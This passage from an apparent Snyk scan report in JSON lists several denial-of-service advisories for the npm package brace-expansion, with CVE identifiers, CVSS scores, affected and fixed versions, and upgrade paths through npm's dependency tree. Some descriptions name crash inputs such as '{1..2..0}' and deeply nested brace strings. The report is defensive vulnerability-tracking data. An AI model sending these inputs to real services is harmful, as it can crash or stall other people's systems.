"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub 